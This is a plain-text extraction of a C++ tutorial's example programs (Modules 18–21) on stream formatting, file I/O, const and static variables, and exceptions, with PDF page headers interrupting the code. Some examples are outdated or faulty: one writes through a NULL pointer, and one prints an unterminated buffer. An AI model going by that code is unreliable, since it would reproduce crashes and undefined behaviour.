//any format flags() not specified in the
//argument to flags() are reset.
#include <iostream.h>
#include <stdlib.h>

void main(void)
{

long p = 2000;
double q = 0.00124345;

//set a new format state


cout<<"The value of flags variable is: "
<<cout.flags()<<'\n'
<<"Print long int and double in original format:\n"
<<p<<'\t'<<q<<"\n\n";

long OriginalFormat = cout.flags(ios::oct | ios::scientific);


//save the previous format state
cout<<"The value of the flags variable is: "
<<cout.flags()<<'\n'
<<"Print long int and double in a new format\n"
<<"specified using the flags member function:\n"
<<p<<'\t'<<q<<"\n\n";

cout.flags(OriginalFormat);
//restore the original format setting
cout<<"The value of the flags variable is: "
<<cout.flags()<<'\n'
<<"Print values in original format again:\n"
<<p<<'\t'<<q<<endl;

system("pause");
}

------------------------------------------------------------------------

//Using eof(), fail(), bad(), good(), clear()


//and rdstate()
#include <iostream.h>
#include <stdlib.h>

void main(void)
{

file:///C|/Tutorial.txt (280 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int p;

cout<<"Before a bad input operation: \n"


<<"-----------------------------\n"
<<" cin.rdstate(): "<<cin.rdstate()
<<"\n cin.eof(): "<<cin.eof()
<<"\n cin.fail(): "<<cin.fail()
<<"\n cin.bad(): "<<cin.bad()
<<"\n cin.good(): "<<cin.good()
<<"\n\nEnter a character (should be integer): "<<endl;
cin>>p;

cout<<"After a bad input operation: \n"


<<"----------------------------\n"
<<" cin.rdstate(): "<<cin.rdstate()
<<"\n cin.eof(): "<<cin.eof()
<<"\n cin.fail(): "<<cin.fail()
<<"\n cin.bad(): "<<cin.bad()
<<"\n cin.good(): "<<cin.good()<<"\n\n";
cin.clear();
cout<<"After cin.clear()\n"
<<"-----------------\n"
<<"cin.fail(): "<<cin.fail()<<endl;
system("pause");
}

-------------------------------------------------VC++/VC++ .Net----------------------------------------------------

//Displaying floating number in system


//default, scientific and fixed format
#include <iostream>
using namespace std;

void main(void)
{
double p = 0.000654321, q = 9.8765e3;

cout<<"Declared variables\n"
<<"------------------\n"
<<"0.000654321"<<'\n'<<"9.8765e3"<<"\n\n";

cout<<"Default format:\n"
<<"---------------\n"
<<p<<'\t'<<q<<'\n'<<endl;

cout.setf(ios::scientific,ios::floatfield);
cout<<"Scientific format:\n"
<<"------------------\n"
<<p<<'\t'<<q<<'\n';

cout.unsetf(ios::scientific);
cout<<"\nDefault format after unsetf:\n"
<<"----------------------------\n"
<<p<<'\t'<<q<<endl;
cout.setf(ios::fixed,ios::floatfield);
cout<<"\nIn fixed format:\n"

file:///C|/Tutorial.txt (281 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

<<"----------------\n"
<<p<<'\t'<<q<<endl;
}

------------------------------------------------G++ on Linux/Fedora--------------------------------------------------

/////-padding.cpp-/////
//using fill() member function and setfill() manipulator
#include <iostream>
#include <iomanip>
using namespace std;

int main(void)
{

long p = 30000;

cout<<p <<" printed using the default character pad\n"


<<"for right and left justified and as hex\n"
<<"with internal justification.\n"
<<"----------------------------------------\n";
cout.setf(ios::showbase);
cout<<setw(10)<<p<<endl;
cout.setf(ios::left, ios::adjustfield);
cout<<setw(10)<<p<<endl;
cout.setf(ios::internal, ios::adjustfield);
cout<<setw(10)<<hex<<p<<"\n\n";

cout<<"Using character padding"<<endl;


cout<<"-----------------------"<<endl;
cout.setf(ios::right, ios::adjustfield);
cout.fill('#');
cout<<setw(10)<<dec<<p<<'\n';
cout.setf(ios::left, ios::adjustfield);
cout<<setw(10)<<setfill('$')<<p<<'\n';
cout.setf(ios::internal, ios::adjustfield);
cout<<setw(10)<<setfill('*')<<hex<<p<<endl;
return 0;
}

============================MODULE19=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

file:///C|/Tutorial.txt (282 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

Originally programs compiled using Borland C++. Examples compiled using


VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

---------------------------sampleread.txt-----------------------------
This is file sampleread.txt. This file will be opened for reading
then its content will be written to another file and standard output
i.e screen/console...after you have executed this C++ program,
without error....this text should be output on your screen as well as
written to the samplewrite.txt file. Don't forget to check the
content of the samplewrite.txt.

--------------------------------------------------------------------------------------------

//Reading from available file content


//then writing the content to another
//file. Firstly, create file for reading (can include path)
//let says "C:\sampleread.txt", at root on C drive.
//Type some text as shown…
//Then executes this program. For VC++/VC++ .Net or other C++ standard compliance compiler
//change the header files accordingly...

file:///C|/Tutorial.txt (283 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//#include <iostream>
//#include <fstream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

//function definition, to open file for reading...


void openinfile(ifstream &infile)
{
char filename[100];
cout<<"Enter the file name: ";
//Enter the filename that you have created
//(can include path). From the comment above
//you have to enter "C:\sampleread.txt"
//without the double quotes.

cin>>filename;
infile.open(filename);
}

void main(void)
{
//declare the input file stream
ifstream inputfile;
//declare the output file stream
ofstream outputfile;

char chs;

//function call for opening file for reading...


openinfile(inputfile);
//create, if not exist and open it for writing
outputfile.open("C:\\samplewrite.txt");

//test until the end of file


while (!inputfile.eof())
{
//read character until end of file
inputfile.get(chs);
if (!inputfile.eof())
{
//output character by character (byte) on screen, standard output
cout<<chs;
//write to output file, samplewrite.txt
outputfile<<chs;
}
}
cout<<"\nReading and writing file is completed!"<<endl;
system("pause");
//close the input file stream
inputfile.close();
//close the output file stream

file:///C|/Tutorial.txt (284 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

outputfile.close();
}

---------------------------------------------------------------------------------------
-------------------------readfile.txt---------------------

This is readfile.txt. Just sample text, opening


for reading by using getline() member function.
There are four lines of text to be read from.
This is just plain simple reading text from a file.

---------------------------------------------------------------------------------------

//using getline() member function


#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[50];
ifstream inputfile;
char FirstLine[50];
char SecondLine[50];
char ThirdLine[50];

//prompt user for file name to be opened...


cout<<"Enter the filename to be opened: ";
cin>>filename;

//test open file for reading...


inputfile.open(filename);
//if not the end of file, do...
if(!inputfile.eof())
{
cout<<"\nThe first line of text is: \n";
inputfile.getline(FirstLine, 50);
cout<<FirstLine<<'\n';
cout<<"The second line of text is: \n";
inputfile.getline(SecondLine, 50);
cout<<SecondLine<<endl;
cout<<"The third line of text is: \n";
inputfile.getline(ThirdLine, 50);
cout<<ThirdLine<<endl;
}

system("pause");
}

---------------------------------------------------------------------------------------

//Simple file ‘exception handling’ when


//opening file for reading.
//There is no testfileio.txt at the root of
//drive C at the beginning.
#include <iostream.h>

file:///C|/Tutorial.txt (285 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[] = "C:\\testfileio.txt";
ifstream inputfile;

inputfile.open(filename, ios::in);
//test if fail to open fail for reading, do…
if(inputfile.fail())
{
cout<<"Opening "<<filename<<" file for reading\n";
cout<<"---------------------------------------\n";
cout<<"The "<<filename<<" file could not be opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//if successful opening file for reading, do…
else
{
cout<<"The "<<filename<<" file was opened successfully!\n";
cout<<"\nDo some file processing here...\n";
}
inputfile.close();

//test if fail to close the file, do…


if(inputfile.fail())
{
cout<<"\nThe file "<<filename<<" could not be closed!\n";
system("pause");
exit(1);
}
//else, do…
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";
system("pause");
}

-------------------------------------------------------------------------------------------

//Prompting user for filename


//to be opened….others should be
//same as the previous example.
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[100];
ifstream inputfile;

file:///C|/Tutorial.txt (286 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Prompting user for filename to be opened…


//including the full path if necessary…
//e.g. c:\testfileio.txt, c:\Windows\Temp\testfile.txt etc
cout<<"Enter the file name to be opened: ";

//store at an array filename...


//Array without [] is a pointer to the
//first array’s element...
cin>>filename;

//opened the file for input...


inputfile.open(filename, ios::in);

//test if fail to open file for reading, do…


if(inputfile.fail())
{
cout<<"Opening "<<filename<<" file for reading\n";
cout<<"---------------------------------------\n";
cout<<"The "<<filename<<" file could not be opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//if successful opening file for reading, do…
else
{
cout<<"The "<<filename<<" file was opened successfully!\n";
cout<<"\nDo some file processing here...\n";
}
//close file for input…
inputfile.close();

//test if fail to close the file, do…


if(inputfile.fail())
{
cout<<"\nThe file "<<filename<<" could not be closed!\n";
system("pause");
exit(1);
}
//else, do…
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";
system("pause");
}
//tested using the win32 console mode........
//provided the file testfileio.txt exists on the C: drive…

--------------------------------------------------------------------------------------

------------testfileio1.txt------------
100.23 56.33 67.12 89.10 55.45
23.12 56.11 43.24 65.32 45.00

file:///C|/Tutorial.txt (287 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

--------------------------------------------------------------------------------------

//Simple processing data from external file.


//Read the data in sequential mode, do some
//calculation and display to the standard output.
//Create file testfileio1.txt on drive C, and
//type some data as shown
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[] = "C:\\testfileio1.txt";
ifstream inputfile;

//-------opening input file for reading--------


inputfile.open(filename, ios::in);
//test if fail to open the file, do…
//error handling for file opening
if(inputfile.fail())
{
cout<<"Opening file "<<filename<<" for reading\n";
cout<<"------------------------------------------\n";
cout<<"The file could not be opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//if successful, do the following...
else
{
cout<<"The "<<filename<<" file was opened successfully!\n";

//declare some variables for simple calculation


float price, total = 0;
int count = 0;

cout<<"Reading data and do some calculation\n\n";


//read data from input stream...
inputfile>>price;

//test, if end of file not found, do the following...


while(!inputfile.eof())
{
//total = total + price
total += price;
count++;
cout<<"Item price # "<<count<<" is "<<price<<endl;
//re read the next item price within the loop
inputfile>>price;
}

file:///C|/Tutorial.txt (288 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"The total price for "<<count<<" items is: "<<total<<endl;


cout<<"\n-------DONE-------\n"<<endl;
//close the input file
inputfile.close();

//test closing file, if fail to close the file, do...


//error handling for file closing
if(inputfile.fail())
{
cout<<"The "<<filename<<" file could not be closed!\n";
system("pause");
//something wrong, just exit...
exit(1);
}

//if successful closes the file, do....


else
cout<<"The "<<filename<<" file was closed successfully!\n";

system("pause");
}
}

------------------------------------------------------------------------------------------------

----------testfileio2.txt---------------

Writing some data in this file


------------------------------
0 1 2 3 4 5 6 7 8 9 10

------------------------------------------------------------------------------------------------

//Simple processing data from external file.


//Creating, opening and writing some data in file
//and appending data at the end of file...
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[] = "C:\\testfileio2.txt";
ofstream outputfile;

//----creating, opening and writing/appending data to file-----


outputfile.open(filename, ios::out|ios::app);
//simple error handling for file creating/opening for writing
//test if fail to open the file, do…
if(outputfile.fail())
{
cout<<"Creating and opening file "<<filename<<" for writing\n";
cout<<"------------------------------------------\n";
cout<<"The "<<filename<<" file could not be created/opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";

file:///C|/Tutorial.txt (289 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"2. The path was not found.\n";


system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//else, if the file can be opened, do…
else
{
cout<<"The "<<filename<<" file was created and opened successfully!\n";
cout<<"\nDo some file writing....\n\n";

outputfile<<"Writing some data in this file\n";


outputfile<<"------------------------------\n";
cout<<"Check the "<<filename<<" file contents :-)"<<endl;
cout<<"If the file already have had data, the new data will be appended\n";

int sampledata;
//write some integers to the file...
for(sampledata=0; sampledata<=10; sampledata++)
outputfile<<sampledata<<" ";
outputfile<<endl;
//close the output file
outputfile.close();
//test if fail to close the file, do the following...
//simple error handling for output files closing
if(outputfile.fail())
{
cout<<"The "<<filename<<" file could not be closed!\n";
system("pause");
exit(1);
}
//test if successful to close the file, do the following...
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";

system("pause");
}
}

---------------------------------------------------------------------------------------------------

//using seekg()
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[] = "C:\\testfileio3.txt";
fstream inputfile, outputfile;

//--------create, open and write data to file--------


outputfile.open(filename, ios::out);
//----write some text-------
outputfile<<"This is just line of text."<<endl;
//--------close the output file------------

file:///C|/Tutorial.txt (290 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

outputfile.close();

//----opening and reading data from file-----


inputfile.open(filename, ios::in);
//simple error handling for files creating/opening for writing
if(inputfile.fail())
{
cout<<"Opening "<<filename<<" file for reading\n";
cout<<"------------------------------------------\n";
cerr<<"The file "<<filename<<" could not be created/opened!\n";
cerr<<"Possible errors:\n";
cerr<<"1. The file does not exist.\n";
cerr<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
else
{

cout<<"The "<<filename<<" file was opened successfully!\n";


cout<<"\nMove the pointer to the end\n"
<<"Then back to the beginning with\n"
<<"10 offset. The pointer now at...\n"<<endl;
//flush the stream buffer explicitly...
cout<<flush;

//get length of file


int length;
char * buffer;

//move the get pointer to the end of the stream


inputfile.seekg(0, ios::end);
//The tellg() member function returns
//the current stream position.
//there is 27 characters including white space
length = inputfile.tellg();
//move back the pointer to the beginning with
//offset of 10
inputfile.seekg(10, ios::beg);

//dynamically allocate some memory storage


//for type char...
buffer = new char [length];

//read data as block from input file...


inputfile.read(buffer, length);
cout<<buffer<<endl;
//free up the allocated memory storage...
delete[] buffer;
//close the input file
inputfile.close();
//simple error handling for output files closing
//test if fail to close the file, do...
if(inputfile.fail())
{

file:///C|/Tutorial.txt (291 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cerr<<"The "<<filename<<" file could not be closed!\n";


system("pause");
exit(1);
}
//test if successful to close the file, do...
else
cout<<"\nThe file "<<filename<<" was closed successfully!\n";

system("pause");
}
}

--------------------------------------------------------------------------------------------------

//using seekp()
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[] = "C:\\testfileio4.txt";
ofstream outputfile;

//----creating, opening and writing data to file-----


outputfile.open(filename, ios::out);
//simple error handling for file creating/opening
//test if fail to open, do...
if(outputfile.fail())
{
cout<<"Creating and opening "<<filename<<" file for writing\n";
cout<<"----------------------------------------------------\n";
cout<<"The "<<filename<<" file could not be created/opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//test if successful creating/opening the file, do...
else
{
cout<<"The "<<filename<<" file was created and opened successfully!\n";
cout<<"\nDo some file writing....\n\n";

int locate;

outputfile.write("Testing: Just simple example.", 29);


//tell the pointer position...
locate = outputfile.tellp();
//seek the pointer position with offset...
outputfile.seekp(locate-16);
outputfile.write(" rumble", 7);
//close the output file
outputfile.close();

file:///C|/Tutorial.txt (292 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//simple error handling for output files closing


//test if fail to close the file, do...
if(outputfile.fail())
{
cout<<"The "<<filename<<" file could not be closed!\n";
system("pause");
exit(1);
}
//if successful to close the file, do...
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";

system("pause");
}

---------------------------------------------------------------------------------------------------

//istream ignore()
#include <iostream>
#include <stdlib.h>

int main ()
{
char firstword, secondword;

cout<<"Enter your first and last names: ";

firstword = cin.get();
cin.ignore(30,' ');
secondword = cin.get();

cout<<"The initials letters are: "<<firstword<<secondword<<endl;

system("pause");
return 0;
}

------------------------------------------------VC++/VC++ .Net-------------------------------------------------

//Reading from available file content


//then writing the content to another
//file. Firstly, create file for reading (can include path)
//let says "C:\sampleread.txt", at root on C drive.
//Type some text as shown…
//Then executes this program.
#include <iostream>
#include <fstream>
using namespace std;

//function definition, to open file for reading...


void openinfile(ifstream &infile)
{
char filename[100];
cout<<"Enter the file name: ";

file:///C|/Tutorial.txt (293 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Enter the filename that you have created


//(can include path). From the comment above
//you have to enter "C:\sampleread.txt"
//without the double quotes.

cin>>filename;
infile.open(filename);
}

void main(void)
{
//declare the input file stream
ifstream inputfile;
//declare the output file stream
ofstream outputfile;

char chs;

//function call for opening file for reading...


openinfile(inputfile);
//create, if does not exist and open it for writing
outputfile.open("C:\\samplewrite.txt");

//test until the end of file


while (!inputfile.eof())
{
//read character until end of file
inputfile.get(chs);
if (!inputfile.eof())
{
//output character by character (byte) on screen, standard output
cout<<chs;
//write to output file, samplewrite.txt
outputfile<<chs;
}
}
cout<<"\nReading and writing file is completed!"<<endl;
//close the input file stream
inputfile.close();
//close the output file stream
outputfile.close();
}

-----------------------------------------------G++-------------------------------------------------------

//Simple processing data from external file.


//Read the data in sequential mode, do some
//calculation and display to the standard output.
//Create file testfileio.txt in the current
//working directory and type some int data in it...
#include <iostream>
#include <fstream>
using namespace std;

int main(void)
{

file:///C|/Tutorial.txt (294 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

char filename[] = "testfileio.txt";


ifstream inputfile;

//-------opening input file for reading--------


inputfile.open(filename, ios::in);
//test if fail to open the file, do...
//error handling for file opening
if(inputfile.fail())
{
cout<<"Opening file "<<filename<<" for reading\n";
cout<<"------------------------------------------\n";
cout<<"The file could not be opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
exit(1); //just exit
//0-normal, non zero - some error
}
//if successful, do the following...
else
{
cout<<"The "<<filename<<" file was opened successfully!\n";

//declare some variables for simple calculation


float price, total = 0;
int count = 0;
cout<<"Reading data and do some calculation\n\n";
//read data from input stream...
inputfile>>price;

//test, if end of file not found, do the following...


while(!inputfile.eof())
{
//total = total + price
total += price;
count++;
cout<<"Item price # "<<count<<" is "<<price<<endl;
//re read the next item price within the loop
inputfile>>price;
}
cout<<"The total price for "<<count<<" items is: "<<total<<endl;
cout<<"\n-------DONE-------\n"<<endl;
//close the input file
inputfile.close();

//test closing file, if fail to close the file, do


//simple error handling for file closing
if(inputfile.fail())
{
cout<<"The "<<filename<<" couldn't be closed!\n";
exit(1);
}

//if fail, do....


else
cout<<"The "<<filename<<" file closed successfully!\n";

file:///C|/Tutorial.txt (295 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

return 0;
}
}

============================MODULE20=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

file:///C|/Tutorial.txt (296 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//demonstrate the static variable...


//For VC++/VC++ .Net change the header files accordingly
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>

int funcstatic(int)
{
//local variable should exist locally...
int sum = 0;
sum = sum + 10;
return sum;
}

int main()
{
int r = 5, s;

//test the function calls several times...


cout<<"Without static keyword\n";
cout<<"----------------------\n\n";
s = funcstatic(r);
cout<<"1st time function call, s = "<<s<<endl;
s = funcstatic(r);
cout<<"2nd time function call, s = "<<s<<endl;
s = funcstatic(r);
cout<<"3rd time function call, s = "<<s<<endl;
system("pause");
return 0;
}

---------------------------------------------------------------------------

//Program object.h, the header file


//extern global variable
//external to object.cpp
extern int global1;

//---class declaration part---


class object
{
public:
int objectvar;

public:
object(void);
int set(int);
~object(void);
};
//this header file cannot be compiled or run

file:///C|/Tutorial.txt (297 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

---------------------------------------------------------------------------------

//The class implementation file


//Program object.cpp
#include <iostream.h>
#include "object.h"

//extern...
int global1 = 30;
int global2 = 40;

//-----class implementation part-----


object::object(void)
{
objectvar = 0;
}

int object::set(int newvalue)


{
int local1 = 10;
//non extern with same variables name....
global1 = 60;
global2 = 70;

//Display the local variable locally...


cout<<"In object.cpp file, local function, local1 variable = "<<local1<<endl;
//Display the global variable locally...
cout<<"In object.cpp file, global1 variable = "<<global1<<endl;
cout<<"In object.cpp file, global2 variable = "<<global2<<endl;
return newvalue;
}

object::~object(void)
{
objectvar = 0;
}

-----------------------------------------------------------------------------------

//Program mainobject.cpp, here is the main program,


#include <iostream.h>
#include <stdlib.h>
#include "object.h"

main()
{
object FirstObject;
//external to object.cpp
extern int global2;
//local to this main() function...
int local2 = 20;

cout<<"In object.h, global1 is object.cpp external variable = "<<global1<<endl;


cout<<"In mainobject.cpp, global2 is object.cpp external variable = "<<global2<<endl;
cout<<"In mainobject.cpp, object value = "<<FirstObject.set(50)<<"\n";

file:///C|/Tutorial.txt (298 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"In mainobject.cpp, local function, local2 variable = "<<local2<<endl;


system("pause");
}

-----------------------------------------------------------------------------------

//const variable
#include <iostream>
#include <stdlib.h>

int main()
{

//p = 10 is a constant value, cannot be modified


//during the program execution...
const int p = 10;

cout<<"q = p + 20 = "<<(p + 20)<<" where, p = 10"<<endl;

//The following code should generate error, because


//we try to modify the constant value...
//uncomment, recompile notice the error...

//p = 15;
//--p;

system("pause");
}

----------------------------------------------------------------------------------

//const variable
#include <iostream>

const int ArrayOne = 64;


//The following code is legal in C++, but not in C
char StoreChar[ArrayOne];

int main()
{

}
//No output for this example

----------------------------------------------------------------------------------

//a const pointer to a variable...


#include <iostream>
#include <stdlib.h>

int main()
{

//declare the pointers and let they point


//to something...
//non const pointer...

file:///C|/Tutorial.txt (299 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

char *BuffOne = NULL, *BuffTwo = NULL;


//a constant pointer...
//assign the BuffOne pointer to PtrOne pointer
char *const PtrOne = BuffOne;

//Let it point to some data...


*PtrOne = 'z';
cout<<"The value pointed by constant pointer is "<<*PtrOne<<endl;

//The following code will generate error, because we try to


//assign non const pointer to const pointer...
//PtrOne = BuffTwo;

system("pause");
return 0;
}

---------------------------------------------------------------------------------

//a pointer to a const variable...


#include <iostream>
#include <stdlib.h>

int main()
{

const char *BuffOne = "Testing";

cout<<"The data pointed by BuffTwo is "<<BuffOne<<endl;

//The const pointer BuffOne assigned to the


//const pointer ThePtr is OK...
const char *ThePtr = BuffOne;
cout<<"The data pointed by ThePtr is "<<ThePtr<<endl;

//The following code will generate an error


//cannot modify the const....
//*ThePtr = 'z';

system("pause");
return 0;
}

--------------------------------------------------------------------------------

//constant member function


#include <iostream>
#include <stdlib.h>

//---Class declaration part-----

class Date
{
int month;

public:

file:///C|/Tutorial.txt (300 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//we would test the month only...


Date (int mnt, int dy, int yr);
//A write function, so can't be const
void SetMonth(int mnt);
//A read only function declaration
int GetMonth() const;
};

//---Class implementation part---

Date::Date(int,int,int)
{
}
void Date::SetMonth(int mnt)
{
//Modify the non const member variable data
month = mnt;
}

//A read only function implementation


int Date::GetMonth() const
{
//Does not modify anything
return month;
}

//----main program----
void main()
{
Date TheDate(7,4,2004);
//non const member function, OK
TheDate.SetMonth(11);

cout<<"Month of the sample date is "<<TheDate.GetMonth()<<endl;

//another dummy const object...


const Date BirthDate(7,4,1971);
//Then try to modify the const object, NOT OK
//BirthDate.SetMonth(5);

//const member function sending message...


BirthDate.GetMonth();
//So, the following shouldn’t have the output data...
cout<<"Another silly call, the month is "<<BirthDate.GetMonth()<<endl;

system("pause");
}

-------------------------------------------VC++/VC++ .Net------------------------------------------

//demonstrate the static variable...


#include <iostream>
using namespace std;

int funcstatic(int)
{

file:///C|/Tutorial.txt (301 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//local variable should exist locally...


static int sum = 0;
sum = sum + 10;
return sum;
}

int main()
{
int r = 5, s;

//test the function calls several times...


cout<<"Without static keyword\n";
cout<<"----------------------\n\n";
s = funcstatic(r);
cout<<"1st time function call, s = "<<s<<endl;
s = funcstatic(r);
cout<<"2nd time function call, s = "<<s<<endl;
s = funcstatic(r);
cout<<"3rd time function call, s = "<<s<<endl;
return 0;
}

============================MODULE21=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:

file:///C|/Tutorial.txt (302 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//C structured exception handling


//and C++ exception handling. For VC++/VC++ .Net change the
//header files to the following accordingly...same for other examples
//#include <iostream>
//using namespace std;

#include <iostream.h>

//function prototype...
void TestCFunct(void);

int main()
{
//C++ try block...
try
{
//function calls...
TestCFunct();
}

//catch block...
catch(...)
{
cout<<"Caught the exception, C style..."<< endl;
}
return 0;
}

//function definition...
void TestCFunct()
{
//structured handling exception...
__try
{
int p, r = 2, q = 0;
//exception should be raised here

file:///C|/Tutorial.txt (303 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//divide by 0...
p = r*(10/q);
}
__finally
{
cout<<"In __finally" << endl;
//finding the appropriate catch...
}
}

----------------------------------------------------------------------------------------

//simple try, throw...catch


#include <iostream.h>

int main()
{
//declare char pointer
char* buff;

//try block...
try
{
//allocate storage for char object...
buff = new char[1024];

//do a test, if allocation fails...


if(buff == 0)
throw "Memory allocation failure!";

//if allocation successful, display


//the following message, bypass
//the catch block...
else
cout<<sizeof(buff)<<" Byte successfully allocated!"<<endl;
}

//if allocation fails, catch the type...


//display message...
catch(char* strg)
{
cout<<"Exception raised: "<<strg<<endl;
}
return 0;
}

------------------------------------------------------------------------------------------

//exception: multiple catch blocks


#include <iostream.h>
#include <stdlib.h>

int main ()
{
try
{

file:///C|/Tutorial.txt (304 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

char * teststr;
teststr = new char [10];

//test, if memory allocation fails then,


//throws this error to the matching catch...
if (teststr == NULL) throw "Allocation failure";

